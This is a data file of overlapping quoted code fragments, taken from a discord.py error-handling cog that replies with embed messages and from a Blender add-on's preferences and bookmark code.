"ctx.send(embed=embed) return if isinstance(error, commands.UserNotFound): embed.title = \"User Not Found\" embed.description = \"The",
"discord.ext import commands import discord import datetime class OnError(commands.Cog): def __init__(self, bot): self.bot",
"f\"I am missing the following permissions: {perms}!\" await ctx.send(embed=embed) return if isinstance(error, commands.MissingPermissions):",
"\"The member id/mention/name you provided is invalid or didn't exist in this server!\"",
"User!\" await ctx.send(embed=embed) return if isinstance(error, commands.ChannelNotFound): embed.title = \"Channel Not Found\" embed.description",
"embed = discord.Embed(color=self.bot.embed_color) if isinstance(error, commands.BotMissingPermissions): perms = \", \".join([f\"{x.replace('_', ' ').replace('guild', 'server').title()}\"",
"not the owner of this bot!\" await ctx.send(embed=embed) return if isinstance(error, commands.MissingRequiredArgument): embed.title",
"the owner of this bot!\" await ctx.send(embed=embed) return if isinstance(error, commands.MissingRequiredArgument): embed.title =",
"This command is on a cooldown. Use it after <t:{int(datetime.datetime.timestamp(wait_until_finish))}:R>') return if isinstance(error,",
"embed.description = \"The role id/mention/name you provided is invalid or I cannot see",
"return if isinstance(error, commands.BadArgument): if isinstance(error, commands.MessageNotFound): embed.title = \"Message Not Found\" embed.description",
"if isinstance(error, commands.NotOwner): embed.title = \"Not Owner\" embed.description = f\"You're not the owner",
"= \"The role id/mention/name you provided is invalid or I cannot see that",
"await ctx.send(embed=embed) return embed.title = \"Unexpected Error\" embed.description = error await ctx.send(embed=embed) async",
"to work: `{error.param.name}`!\" await ctx.send(embed=embed) return if isinstance(error, commands.CommandOnCooldown): seconds = int(error.retry_after) wait_until_finish",
"await ctx.send(embed=embed) return if isinstance(error, commands.UserNotFound): embed.title = \"User Not Found\" embed.description =",
"Found\" embed.description = \"The channel id/mention/name you provided is invalid or I access",
"embed.description = f\"You are missing the following permissions: {perms}!\" await ctx.send(embed=embed) return if",
"\"The emoji id/name you provided is invalid or I cannot see that emoji!\"",
"emoji!\" await ctx.send(embed=embed) return embed.title = \"Unexpected Error\" embed.description = error await ctx.send(embed=embed)",
"in this server!\" await ctx.send(embed=embed) return if isinstance(error, commands.UserNotFound): embed.title = \"User Not",
"@commands.Cog.listener() async def on_command_error(self, ctx, error): ignore = (commands.CommandNotFound, discord.NotFound, discord.Forbidden) if isinstance(error,",
"or didn't exist in this server!\" await ctx.send(embed=embed) return if isinstance(error, commands.UserNotFound): embed.title",
"didn't exist in this server!\" await ctx.send(embed=embed) return if isinstance(error, commands.UserNotFound): embed.title =",
"embed.title = \"Bot Missing Permissions\" embed.description = f\"I am missing the following permissions:",
"await ctx.send(embed=embed) return if isinstance(error, commands.EmojiNotFound): embed.title = \"Emoji Not Found\" embed.description =",
"await ctx.send(f'⏱️ This command is on a cooldown. Use it after <t:{int(datetime.datetime.timestamp(wait_until_finish))}:R>') return",
"= \"Disabled\" embed.description = \"This command is disabled by the bot's owner!\" await",
"embed.description = f\"You're not the owner of this bot!\" await ctx.send(embed=embed) return if",
"= \"The message id/link you provided is invalid or deleted!\" await ctx.send(embed=embed) return",
"if isinstance(error, commands.MessageNotFound): embed.title = \"Message Not Found\" embed.description = \"The message id/link",
"argument for this command to work: `{error.param.name}`!\" await ctx.send(embed=embed) return if isinstance(error, commands.CommandOnCooldown):",
"Not Found\" embed.description = \"The message id/link you provided is invalid or deleted!\"",
"isinstance(error, ignore): return embed = discord.Embed(color=self.bot.embed_color) if isinstance(error, commands.BotMissingPermissions): perms = \", \".join([f\"{x.replace('_',",
"a required argument for this command to work: `{error.param.name}`!\" await ctx.send(embed=embed) return if",
"or I cannot see that role!\" await ctx.send(embed=embed) return if isinstance(error, commands.EmojiNotFound): embed.title",
"you provided is invalid or I cannot see that role!\" await ctx.send(embed=embed) return",
"= (commands.CommandNotFound, discord.NotFound, discord.Forbidden) if isinstance(error, ignore): return embed = discord.Embed(color=self.bot.embed_color) if isinstance(error,",
"id/mention/name you provided is invalid or I cannot see that User!\" await ctx.send(embed=embed)",
"isinstance(error, commands.BadArgument): if isinstance(error, commands.MessageNotFound): embed.title = \"Message Not Found\" embed.description = \"The",
"message id/link you provided is invalid or deleted!\" await ctx.send(embed=embed) return if isinstance(error,",
"are missing the following permissions: {perms}!\" await ctx.send(embed=embed) return if isinstance(error, commands.NotOwner): embed.title",
"is invalid or deleted!\" await ctx.send(embed=embed) return if isinstance(error, commands.MemberNotFound): embed.title = \"Member",
"embed.title = \"Unexpected Error\" embed.description = error await ctx.send(embed=embed) async def setup(bot): await",
"user id/mention/name you provided is invalid or I cannot see that User!\" await",
"return if isinstance(error, commands.MissingRequiredArgument): embed.title = \"Missing Argument\" embed.description = f\"You are missing",
"embed.title = \"Member Not Found\" embed.description = \"The member id/mention/name you provided is",
"datetime class OnError(commands.Cog): def __init__(self, bot): self.bot = bot @commands.Cog.listener() async def on_command_error(self,",
"is invalid or I cannot see that role!\" await ctx.send(embed=embed) return if isinstance(error,",
"embed.title = \"Disabled\" embed.description = \"This command is disabled by the bot's owner!\"",
"or I access it!\" await ctx.send(embed=embed) return if isinstance(error, commands.RoleNotFound): embed.title = \"Role",
"after <t:{int(datetime.datetime.timestamp(wait_until_finish))}:R>') return if isinstance(error, commands.DisabledCommand): embed.title = \"Disabled\" embed.description = \"This command",
"work: `{error.param.name}`!\" await ctx.send(embed=embed) return if isinstance(error, commands.CommandOnCooldown): seconds = int(error.retry_after) wait_until_finish =",
"= \"The member id/mention/name you provided is invalid or didn't exist in this",
"if isinstance(error, commands.MemberNotFound): embed.title = \"Member Not Found\" embed.description = \"The member id/mention/name",
"see that emoji!\" await ctx.send(embed=embed) return embed.title = \"Unexpected Error\" embed.description = error",
"bot!\" await ctx.send(embed=embed) return if isinstance(error, commands.MissingRequiredArgument): embed.title = \"Missing Argument\" embed.description =",
"access it!\" await ctx.send(embed=embed) return if isinstance(error, commands.RoleNotFound): embed.title = \"Role Not Found\"",
"for x in error.missing_permissions]) embed.title = \"Bot Missing Permissions\" embed.description = f\"I am",
"provided is invalid or deleted!\" await ctx.send(embed=embed) return if isinstance(error, commands.MemberNotFound): embed.title =",
"following permissions: {perms}!\" await ctx.send(embed=embed) return if isinstance(error, commands.NotOwner): embed.title = \"Not Owner\"",
"perms = \", \".join([f\"{x.replace('_', ' ').replace('guild', 'server').title()}\" for x in error.missing_permissions]) embed.title =",
"embed.description = \"The member id/mention/name you provided is invalid or didn't exist in",
"is on a cooldown. Use it after <t:{int(datetime.datetime.timestamp(wait_until_finish))}:R>') return if isinstance(error, commands.DisabledCommand): embed.title",
"embed.description = \"The message id/link you provided is invalid or deleted!\" await ctx.send(embed=embed)",
"by the bot's owner!\" await ctx.send(embed=embed) return if isinstance(error, commands.BadArgument): if isinstance(error, commands.MessageNotFound):",
"or deleted!\" await ctx.send(embed=embed) return if isinstance(error, commands.MemberNotFound): embed.title = \"Member Not Found\"",
"Not Found\" embed.description = \"The role id/mention/name you provided is invalid or I",
"'server').title()}\" for x in error.missing_permissions]) embed.title = \"Missing Permissions\" embed.description = f\"You are",
"invalid or deleted!\" await ctx.send(embed=embed) return if isinstance(error, commands.MemberNotFound): embed.title = \"Member Not",
"\"Member Not Found\" embed.description = \"The member id/mention/name you provided is invalid or",
"\"Missing Argument\" embed.description = f\"You are missing a required argument for this command",
"id/mention/name you provided is invalid or didn't exist in this server!\" await ctx.send(embed=embed)",
"you provided is invalid or I cannot see that User!\" await ctx.send(embed=embed) return",
"a cooldown. Use it after <t:{int(datetime.datetime.timestamp(wait_until_finish))}:R>') return if isinstance(error, commands.DisabledCommand): embed.title = \"Disabled\"",
"id/name you provided is invalid or I cannot see that emoji!\" await ctx.send(embed=embed)",
"or I cannot see that User!\" await ctx.send(embed=embed) return if isinstance(error, commands.ChannelNotFound): embed.title",
"= \"This command is disabled by the bot's owner!\" await ctx.send(embed=embed) return if",
"commands.BotMissingPermissions): perms = \", \".join([f\"{x.replace('_', ' ').replace('guild', 'server').title()}\" for x in error.missing_permissions]) embed.title",
"f\"You are missing the following permissions: {perms}!\" await ctx.send(embed=embed) return if isinstance(error, commands.NotOwner):",
"you provided is invalid or I cannot see that emoji!\" await ctx.send(embed=embed) return",
"= \", \".join([f\"{x.replace('_', ' ').replace('guild', 'server').title()}\" for x in error.missing_permissions]) embed.title = \"Missing",
"the following permissions: {perms}!\" await ctx.send(embed=embed) return if isinstance(error, commands.MissingPermissions): perms = \",",
"if isinstance(error, commands.MissingRequiredArgument): embed.title = \"Missing Argument\" embed.description = f\"You are missing a",
"or I cannot see that emoji!\" await ctx.send(embed=embed) return embed.title = \"Unexpected Error\"",
"is invalid or I cannot see that User!\" await ctx.send(embed=embed) return if isinstance(error,",
"isinstance(error, commands.MissingRequiredArgument): embed.title = \"Missing Argument\" embed.description = f\"You are missing a required",
"\"Disabled\" embed.description = \"This command is disabled by the bot's owner!\" await ctx.send(embed=embed)",
"int(error.retry_after) wait_until_finish = datetime.datetime.now() + datetime.timedelta(seconds=seconds) await ctx.send(f'⏱️ This command is on a",
"\", \".join([f\"{x.replace('_', ' ').replace('guild', 'server').title()}\" for x in error.missing_permissions]) embed.title = \"Missing Permissions\"",
"invalid or I cannot see that role!\" await ctx.send(embed=embed) return if isinstance(error, commands.EmojiNotFound):",
"await ctx.send(embed=embed) return if isinstance(error, commands.NotOwner): embed.title = \"Not Owner\" embed.description = f\"You're",
"isinstance(error, commands.NotOwner): embed.title = \"Not Owner\" embed.description = f\"You're not the owner of",
"= \"The emoji id/name you provided is invalid or I cannot see that",
"= \"Not Owner\" embed.description = f\"You're not the owner of this bot!\" await",
"command is disabled by the bot's owner!\" await ctx.send(embed=embed) return if isinstance(error, commands.BadArgument):",
"ctx.send(embed=embed) return if isinstance(error, commands.BadArgument): if isinstance(error, commands.MessageNotFound): embed.title = \"Message Not Found\"",
"\"Bot Missing Permissions\" embed.description = f\"I am missing the following permissions: {perms}!\" await",
"I cannot see that emoji!\" await ctx.send(embed=embed) return embed.title = \"Unexpected Error\" embed.description",
"if isinstance(error, commands.BotMissingPermissions): perms = \", \".join([f\"{x.replace('_', ' ').replace('guild', 'server').title()}\" for x in",
"Argument\" embed.description = f\"You are missing a required argument for this command to",
"await ctx.send(embed=embed) return if isinstance(error, commands.MissingRequiredArgument): embed.title = \"Missing Argument\" embed.description = f\"You",
"await ctx.send(embed=embed) return if isinstance(error, commands.CommandOnCooldown): seconds = int(error.retry_after) wait_until_finish = datetime.datetime.now() +",
"that emoji!\" await ctx.send(embed=embed) return embed.title = \"Unexpected Error\" embed.description = error await"
] |
[
"= bpy.props.BoolProperty( name=\"Show Enum Properties\", description=\"Show enum properties\", default=True, update=update_lists) show_vector_props = bpy.props.BoolProperty(",
"bpy.props.BoolProperty( name=\"Show Header Button\", description=\"Show header button\", update=show_header_btn_update, default=True) obj_list_width = bpy.props.IntProperty( name=\"Width\",",
"obj_list_width = bpy.props.IntProperty( name=\"Width\", description=\"Width of the list\", subtype='PERCENTAGE', default=40, min=20, max=80) list_height",
"row = layout.row() row.scale_y = 1.5 row.operator(CB_OT_browser.bl_idname) row = layout.split() col = row.column(align=True)",
"show_int_props = bpy.props.BoolProperty( name=\"Show Int Properties\", description=\"Show int properties\", default=True, update=update_lists) show_float_props =",
"col.prop(self, \"popup_width\") col.prop(self, \"list_height\") col = row.column(align=True) col.label(text=\"Header:\") col.prop(self, \"show_header_btn\") def add_bookmark(self, bookmark,",
"= bpy.props.BoolProperty( name=\"Show Vector Properties\", description=\"Show vector properties\", default=True, update=update_lists) group_none = bpy.props.BoolProperty(",
"width\", subtype='PIXEL', default=640, min=300, max=3000) def draw(self, context): layout = self.layout row =",
"= self.bookmarks.add() item.name = name or bookmark item.path = bookmark sort_collection(self.bookmarks, key=lambda item:",
"icon=ic('BLENDER'), emboss=False) def register(): pr = prefs() if pr.show_header_btn: pr.register_header_btn(True) def unregister(): pr",
"'OUTLINER_HT_header', 'PROPERTIES_HT_header', 'SEQUENCER_HT_header', 'TEXT_HT_header', 'TIME_HT_header', 'USERPREF_HT_header', 'VIEW3D_HT_header'): tp = getattr(bpy.types, tp_name, None) if",
"b.path == bookmark: self.bookmarks.remove(i) break def rename_bookmark(self, bookmark, name): for b in self.bookmarks:",
"description=\"Show property identifiers\", default=True) def show_header_btn_update(self, context): prefs().register_header_btn(self.show_header_btn) show_header_btn = bpy.props.BoolProperty( name=\"Show Header",
"default=True, update=update_lists) show_str_props = bpy.props.BoolProperty( name=\"Show String Properties\", description=\"Show string properties\", default=True, update=update_lists)",
"'NODE_HT_header', 'OUTLINER_HT_header', 'PROPERTIES_HT_header', 'SEQUENCER_HT_header', 'TEXT_HT_header', 'TIME_HT_header', 'USERPREF_HT_header', 'VIEW3D_HT_header'): tp = getattr(bpy.types, tp_name, None)",
"in enumerate(self.bookmarks): if b.path == bookmark: self.bookmarks.remove(i) break def rename_bookmark(self, bookmark, name): for",
"'IMAGE_HT_header', 'INFO_HT_header', 'LOGIC_HT_header', 'NLA_HT_header', 'NODE_HT_header', 'OUTLINER_HT_header', 'PROPERTIES_HT_header', 'SEQUENCER_HT_header', 'TEXT_HT_header', 'TIME_HT_header', 'USERPREF_HT_header', 'VIEW3D_HT_header'): tp",
"ADDON_ID, temp_prefs, prefs, ic from .utils.collection_utils import sort_collection from .ops.context_browser import CB_OT_browser class",
"bpy.props.IntProperty( name=\"Number of Rows\", description=\"Number of rows in lists\", default=10, min=5, max=100) popup_width",
"lists\", default=10, min=5, max=100) popup_width = bpy.props.IntProperty( name=\"Width\", description=\"Popup width\", subtype='PIXEL', default=640, min=300,",
"'PROPERTIES_HT_header', 'SEQUENCER_HT_header', 'TEXT_HT_header', 'TIME_HT_header', 'USERPREF_HT_header', 'VIEW3D_HT_header'): tp = getattr(bpy.types, tp_name, None) if not",
"ADDON_ID bookmarks = bpy.props.CollectionProperty(type=BookmarkItem) def update_lists(self, context): tpr = temp_prefs() tpr.cd.update_lists(tpr.path, False) show_bool_props",
"update=update_lists) show_int_props = bpy.props.BoolProperty( name=\"Show Int Properties\", description=\"Show int properties\", default=True, update=update_lists) show_float_props",
"from .addon import ADDON_ID, temp_prefs, prefs, ic from .utils.collection_utils import sort_collection from .ops.context_browser",
"context): tpr = temp_prefs() tpr.cd.update_lists(tpr.path, False) show_bool_props = bpy.props.BoolProperty( name=\"Show Bool Properties\", description=\"Show",
"default=True, update=update_lists) show_float_props = bpy.props.BoolProperty( name=\"Show Float Properties\", description=\"Show float properties\", default=True, update=update_lists)",
"of rows in lists\", default=10, min=5, max=100) popup_width = bpy.props.IntProperty( name=\"Width\", description=\"Popup width\",",
"Int Properties\", description=\"Show int properties\", default=True, update=update_lists) show_float_props = bpy.props.BoolProperty( name=\"Show Float Properties\",",
"bpy.props.BoolProperty( name=\"Show Vector Properties\", description=\"Show vector properties\", default=True, update=update_lists) group_none = bpy.props.BoolProperty( name=\"Group",
"max=100) popup_width = bpy.props.IntProperty( name=\"Width\", description=\"Popup width\", subtype='PIXEL', default=640, min=300, max=3000) def draw(self,",
"tpr = temp_prefs() tpr.cd.update_lists(tpr.path, False) show_bool_props = bpy.props.BoolProperty( name=\"Show Bool Properties\", description=\"Show bool",
"update=update_lists) show_str_props = bpy.props.BoolProperty( name=\"Show String Properties\", description=\"Show string properties\", default=True, update=update_lists) show_enum_props",
"class BookmarkItem(bpy.types.PropertyGroup): path = bpy.props.StringProperty() class CB_Preferences(bpy.types.AddonPreferences): bl_idname = ADDON_ID bookmarks = bpy.props.CollectionProperty(type=BookmarkItem)",
"= temp_prefs() tpr.cd.update_lists(tpr.path, False) show_bool_props = bpy.props.BoolProperty( name=\"Show Bool Properties\", description=\"Show bool properties\",",
"name=\"Group None Objects\", description=\"Group None objects\", default=False, update=update_lists) show_prop_ids = bpy.props.BoolProperty( name=\"Show Property",
"name=\"Width\", description=\"Popup width\", subtype='PIXEL', default=640, min=300, max=3000) def draw(self, context): layout = self.layout",
"= menu.layout layout.operator(\"cb.browser\", icon=ic('BLENDER')) @staticmethod def header_menu(menu, context): layout = menu.layout layout.operator(\"cb.browser\", text=\"\",",
"col = row.column(align=True) col.label(text=\"Header:\") col.prop(self, \"show_header_btn\") def add_bookmark(self, bookmark, name=None): if bookmark in",
"self.bookmarks: return item = self.bookmarks.add() item.name = name or bookmark item.path = bookmark",
"return item = self.bookmarks.add() item.name = name or bookmark item.path = bookmark sort_collection(self.bookmarks,",
"'CONSOLE_HT_header', 'DOPESHEET_HT_header', 'FILEBROWSER_HT_header', 'GRAPH_HT_header', 'IMAGE_HT_header', 'INFO_HT_header', 'LOGIC_HT_header', 'NLA_HT_header', 'NODE_HT_header', 'OUTLINER_HT_header', 'PROPERTIES_HT_header', 'SEQUENCER_HT_header', 'TEXT_HT_header',",
"getattr(bpy.types, tp_name, None) if not tp: continue if value: tp.prepend(self.header_menu) else: tp.remove(self.header_menu) @staticmethod",
"value: tp.prepend(self.header_menu) else: tp.remove(self.header_menu) @staticmethod def context_menu(menu, context): layout = menu.layout layout.operator(\"cb.browser\", icon=ic('BLENDER'))",
"update=update_lists) group_none = bpy.props.BoolProperty( name=\"Group None Objects\", description=\"Group None objects\", default=False, update=update_lists) show_prop_ids",
"properties\", default=True, update=update_lists) show_vector_props = bpy.props.BoolProperty( name=\"Show Vector Properties\", description=\"Show vector properties\", default=True,",
"show_header_btn_update(self, context): prefs().register_header_btn(self.show_header_btn) show_header_btn = bpy.props.BoolProperty( name=\"Show Header Button\", description=\"Show header button\", update=show_header_btn_update,",
"def draw(self, context): layout = self.layout row = layout.row() row.scale_y = 1.5 row.operator(CB_OT_browser.bl_idname)",
"name=\"Show Bool Properties\", description=\"Show bool properties\", default=True, update=update_lists) show_int_props = bpy.props.BoolProperty( name=\"Show Int",
"import sort_collection from .ops.context_browser import CB_OT_browser class BookmarkItem(bpy.types.PropertyGroup): path = bpy.props.StringProperty() class CB_Preferences(bpy.types.AddonPreferences):",
"sort_collection(self.bookmarks, key=lambda item: item.name) def register_header_btn(self, value): for tp_name in ( 'CLIP_HT_header', 'CONSOLE_HT_header',",
"update=update_lists) show_float_props = bpy.props.BoolProperty( name=\"Show Float Properties\", description=\"Show float properties\", default=True, update=update_lists) show_str_props",
"def header_menu(menu, context): layout = menu.layout layout.operator(\"cb.browser\", text=\"\", icon=ic('BLENDER'), emboss=False) def register(): pr",
"= bpy.props.BoolProperty( name=\"Show Property Identifiers\", description=\"Show property identifiers\", default=True) def show_header_btn_update(self, context): prefs().register_header_btn(self.show_header_btn)",
"group_none = bpy.props.BoolProperty( name=\"Group None Objects\", description=\"Group None objects\", default=False, update=update_lists) show_prop_ids =",
"bpy.props.BoolProperty( name=\"Show Enum Properties\", description=\"Show enum properties\", default=True, update=update_lists) show_vector_props = bpy.props.BoolProperty( name=\"Show",
"properties\", default=True, update=update_lists) show_float_props = bpy.props.BoolProperty( name=\"Show Float Properties\", description=\"Show float properties\", default=True,",
"def register(): pr = prefs() if pr.show_header_btn: pr.register_header_btn(True) def unregister(): pr = prefs()",
"== bookmark: self.bookmarks.remove(i) break def rename_bookmark(self, bookmark, name): for b in self.bookmarks: if",
"def register_header_btn(self, value): for tp_name in ( 'CLIP_HT_header', 'CONSOLE_HT_header', 'DOPESHEET_HT_header', 'FILEBROWSER_HT_header', 'GRAPH_HT_header', 'IMAGE_HT_header',",
"max=80) list_height = bpy.props.IntProperty( name=\"Number of Rows\", description=\"Number of rows in lists\", default=10,",
"'DOPESHEET_HT_header', 'FILEBROWSER_HT_header', 'GRAPH_HT_header', 'IMAGE_HT_header', 'INFO_HT_header', 'LOGIC_HT_header', 'NLA_HT_header', 'NODE_HT_header', 'OUTLINER_HT_header', 'PROPERTIES_HT_header', 'SEQUENCER_HT_header', 'TEXT_HT_header', 'TIME_HT_header',",
"from .utils.collection_utils import sort_collection from .ops.context_browser import CB_OT_browser class BookmarkItem(bpy.types.PropertyGroup): path = bpy.props.StringProperty()",
"properties\", default=True, update=update_lists) show_enum_props = bpy.props.BoolProperty( name=\"Show Enum Properties\", description=\"Show enum properties\", default=True,",
"Properties\", description=\"Show int properties\", default=True, update=update_lists) show_float_props = bpy.props.BoolProperty( name=\"Show Float Properties\", description=\"Show",
"default=True) def show_header_btn_update(self, context): prefs().register_header_btn(self.show_header_btn) show_header_btn = bpy.props.BoolProperty( name=\"Show Header Button\", description=\"Show header",
"item.path = bookmark sort_collection(self.bookmarks, key=lambda item: item.name) def remove_bookmark(self, bookmark): for i, b",
"BookmarkItem(bpy.types.PropertyGroup): path = bpy.props.StringProperty() class CB_Preferences(bpy.types.AddonPreferences): bl_idname = ADDON_ID bookmarks = bpy.props.CollectionProperty(type=BookmarkItem) def",
"pr = prefs() if pr.show_header_btn: pr.register_header_btn(True) def unregister(): pr = prefs() if pr.show_header_btn:",
"description=\"Show header button\", update=show_header_btn_update, default=True) obj_list_width = bpy.props.IntProperty( name=\"Width\", description=\"Width of the list\",",
"header_menu(menu, context): layout = menu.layout layout.operator(\"cb.browser\", text=\"\", icon=ic('BLENDER'), emboss=False) def register(): pr =",
"row = layout.split() col = row.column(align=True) col.label(text=\"Popup:\") col.prop(self, \"popup_width\") col.prop(self, \"list_height\") col =",
"menu.layout layout.operator(\"cb.browser\", text=\"\", icon=ic('BLENDER'), emboss=False) def register(): pr = prefs() if pr.show_header_btn: pr.register_header_btn(True)",
"properties\", default=True, update=update_lists) show_str_props = bpy.props.BoolProperty( name=\"Show String Properties\", description=\"Show string properties\", default=True,",
"else: tp.remove(self.header_menu) @staticmethod def context_menu(menu, context): layout = menu.layout layout.operator(\"cb.browser\", icon=ic('BLENDER')) @staticmethod def",
"= self.layout row = layout.row() row.scale_y = 1.5 row.operator(CB_OT_browser.bl_idname) row = layout.split() col",
"'FILEBROWSER_HT_header', 'GRAPH_HT_header', 'IMAGE_HT_header', 'INFO_HT_header', 'LOGIC_HT_header', 'NLA_HT_header', 'NODE_HT_header', 'OUTLINER_HT_header', 'PROPERTIES_HT_header', 'SEQUENCER_HT_header', 'TEXT_HT_header', 'TIME_HT_header', 'USERPREF_HT_header',",
"string properties\", default=True, update=update_lists) show_enum_props = bpy.props.BoolProperty( name=\"Show Enum Properties\", description=\"Show enum properties\",",
"None objects\", default=False, update=update_lists) show_prop_ids = bpy.props.BoolProperty( name=\"Show Property Identifiers\", description=\"Show property identifiers\",",
"temp_prefs, prefs, ic from .utils.collection_utils import sort_collection from .ops.context_browser import CB_OT_browser class BookmarkItem(bpy.types.PropertyGroup):",
"bookmark, name=None): if bookmark in self.bookmarks: return item = self.bookmarks.add() item.name = name",
"'LOGIC_HT_header', 'NLA_HT_header', 'NODE_HT_header', 'OUTLINER_HT_header', 'PROPERTIES_HT_header', 'SEQUENCER_HT_header', 'TEXT_HT_header', 'TIME_HT_header', 'USERPREF_HT_header', 'VIEW3D_HT_header'): tp = getattr(bpy.types,",
"break sort_collection(self.bookmarks, key=lambda item: item.name) def register_header_btn(self, value): for tp_name in ( 'CLIP_HT_header',",
"update=show_header_btn_update, default=True) obj_list_width = bpy.props.IntProperty( name=\"Width\", description=\"Width of the list\", subtype='PERCENTAGE', default=40, min=20,",
"draw(self, context): layout = self.layout row = layout.row() row.scale_y = 1.5 row.operator(CB_OT_browser.bl_idname) row",
"context): prefs().register_header_btn(self.show_header_btn) show_header_btn = bpy.props.BoolProperty( name=\"Show Header Button\", description=\"Show header button\", update=show_header_btn_update, default=True)",
"subtype='PERCENTAGE', default=40, min=20, max=80) list_height = bpy.props.IntProperty( name=\"Number of Rows\", description=\"Number of rows",
"sort_collection from .ops.context_browser import CB_OT_browser class BookmarkItem(bpy.types.PropertyGroup): path = bpy.props.StringProperty() class CB_Preferences(bpy.types.AddonPreferences): bl_idname",
"Enum Properties\", description=\"Show enum properties\", default=True, update=update_lists) show_vector_props = bpy.props.BoolProperty( name=\"Show Vector Properties\",",
"row.column(align=True) col.label(text=\"Header:\") col.prop(self, \"show_header_btn\") def add_bookmark(self, bookmark, name=None): if bookmark in self.bookmarks: return",
"tp_name, None) if not tp: continue if value: tp.prepend(self.header_menu) else: tp.remove(self.header_menu) @staticmethod def",
"in self.bookmarks: return item = self.bookmarks.add() item.name = name or bookmark item.path =",
"name break sort_collection(self.bookmarks, key=lambda item: item.name) def register_header_btn(self, value): for tp_name in (",
"= getattr(bpy.types, tp_name, None) if not tp: continue if value: tp.prepend(self.header_menu) else: tp.remove(self.header_menu)",
"vector properties\", default=True, update=update_lists) group_none = bpy.props.BoolProperty( name=\"Group None Objects\", description=\"Group None objects\",",
".ops.context_browser import CB_OT_browser class BookmarkItem(bpy.types.PropertyGroup): path = bpy.props.StringProperty() class CB_Preferences(bpy.types.AddonPreferences): bl_idname = ADDON_ID",
"bpy.props.StringProperty() class CB_Preferences(bpy.types.AddonPreferences): bl_idname = ADDON_ID bookmarks = bpy.props.CollectionProperty(type=BookmarkItem) def update_lists(self, context): tpr",
"row.operator(CB_OT_browser.bl_idname) row = layout.split() col = row.column(align=True) col.label(text=\"Popup:\") col.prop(self, \"popup_width\") col.prop(self, \"list_height\") col",
"register(): pr = prefs() if pr.show_header_btn: pr.register_header_btn(True) def unregister(): pr = prefs() if",
"bookmark: self.bookmarks.remove(i) break def rename_bookmark(self, bookmark, name): for b in self.bookmarks: if b.path",
"float properties\", default=True, update=update_lists) show_str_props = bpy.props.BoolProperty( name=\"Show String Properties\", description=\"Show string properties\",",
"bpy.props.BoolProperty( name=\"Show Float Properties\", description=\"Show float properties\", default=True, update=update_lists) show_str_props = bpy.props.BoolProperty( name=\"Show",
"path = bpy.props.StringProperty() class CB_Preferences(bpy.types.AddonPreferences): bl_idname = ADDON_ID bookmarks = bpy.props.CollectionProperty(type=BookmarkItem) def update_lists(self,",
"= bpy.props.BoolProperty( name=\"Show Header Button\", description=\"Show header button\", update=show_header_btn_update, default=True) obj_list_width = bpy.props.IntProperty(",
"Button\", description=\"Show header button\", update=show_header_btn_update, default=True) obj_list_width = bpy.props.IntProperty( name=\"Width\", description=\"Width of the",
"= bpy.props.IntProperty( name=\"Width\", description=\"Width of the list\", subtype='PERCENTAGE', default=40, min=20, max=80) list_height =",
"value): for tp_name in ( 'CLIP_HT_header', 'CONSOLE_HT_header', 'DOPESHEET_HT_header', 'FILEBROWSER_HT_header', 'GRAPH_HT_header', 'IMAGE_HT_header', 'INFO_HT_header', 'LOGIC_HT_header',",
"= bpy.props.StringProperty() class CB_Preferences(bpy.types.AddonPreferences): bl_idname = ADDON_ID bookmarks = bpy.props.CollectionProperty(type=BookmarkItem) def update_lists(self, context):",
"Properties\", description=\"Show string properties\", default=True, update=update_lists) show_enum_props = bpy.props.BoolProperty( name=\"Show Enum Properties\", description=\"Show",
"layout = menu.layout layout.operator(\"cb.browser\", icon=ic('BLENDER')) @staticmethod def header_menu(menu, context): layout = menu.layout layout.operator(\"cb.browser\",",
"update=update_lists) show_enum_props = bpy.props.BoolProperty( name=\"Show Enum Properties\", description=\"Show enum properties\", default=True, update=update_lists) show_vector_props",
"bookmark sort_collection(self.bookmarks, key=lambda item: item.name) def remove_bookmark(self, bookmark): for i, b in enumerate(self.bookmarks):",
"CB_OT_browser class BookmarkItem(bpy.types.PropertyGroup): path = bpy.props.StringProperty() class CB_Preferences(bpy.types.AddonPreferences): bl_idname = ADDON_ID bookmarks =",
"button\", update=show_header_btn_update, default=True) obj_list_width = bpy.props.IntProperty( name=\"Width\", description=\"Width of the list\", subtype='PERCENTAGE', default=40,",
"String Properties\", description=\"Show string properties\", default=True, update=update_lists) show_enum_props = bpy.props.BoolProperty( name=\"Show Enum Properties\",",
"col.prop(self, \"list_height\") col = row.column(align=True) col.label(text=\"Header:\") col.prop(self, \"show_header_btn\") def add_bookmark(self, bookmark, name=None): if",
"tpr.cd.update_lists(tpr.path, False) show_bool_props = bpy.props.BoolProperty( name=\"Show Bool Properties\", description=\"Show bool properties\", default=True, update=update_lists)",
"bpy.props.IntProperty( name=\"Width\", description=\"Width of the list\", subtype='PERCENTAGE', default=40, min=20, max=80) list_height = bpy.props.IntProperty(",
"description=\"Popup width\", subtype='PIXEL', default=640, min=300, max=3000) def draw(self, context): layout = self.layout row",
"if bookmark in self.bookmarks: return item = self.bookmarks.add() item.name = name or bookmark",
"= row.column(align=True) col.label(text=\"Header:\") col.prop(self, \"show_header_btn\") def add_bookmark(self, bookmark, name=None): if bookmark in self.bookmarks:",
"name=\"Show String Properties\", description=\"Show string properties\", default=True, update=update_lists) show_enum_props = bpy.props.BoolProperty( name=\"Show Enum",
"bpy from .addon import ADDON_ID, temp_prefs, prefs, ic from .utils.collection_utils import sort_collection from",
"layout.operator(\"cb.browser\", icon=ic('BLENDER')) @staticmethod def header_menu(menu, context): layout = menu.layout layout.operator(\"cb.browser\", text=\"\", icon=ic('BLENDER'), emboss=False)",
"bool properties\", default=True, update=update_lists) show_int_props = bpy.props.BoolProperty( name=\"Show Int Properties\", description=\"Show int properties\",",
"row.column(align=True) col.label(text=\"Popup:\") col.prop(self, \"popup_width\") col.prop(self, \"list_height\") col = row.column(align=True) col.label(text=\"Header:\") col.prop(self, \"show_header_btn\") def",
"self.bookmarks: if b.path == bookmark: b.name = name break sort_collection(self.bookmarks, key=lambda item: item.name)",
"name=\"Show Vector Properties\", description=\"Show vector properties\", default=True, update=update_lists) group_none = bpy.props.BoolProperty( name=\"Group None",
"self.layout row = layout.row() row.scale_y = 1.5 row.operator(CB_OT_browser.bl_idname) row = layout.split() col =",
"rows in lists\", default=10, min=5, max=100) popup_width = bpy.props.IntProperty( name=\"Width\", description=\"Popup width\", subtype='PIXEL',",
"register_header_btn(self, value): for tp_name in ( 'CLIP_HT_header', 'CONSOLE_HT_header', 'DOPESHEET_HT_header', 'FILEBROWSER_HT_header', 'GRAPH_HT_header', 'IMAGE_HT_header', 'INFO_HT_header',",
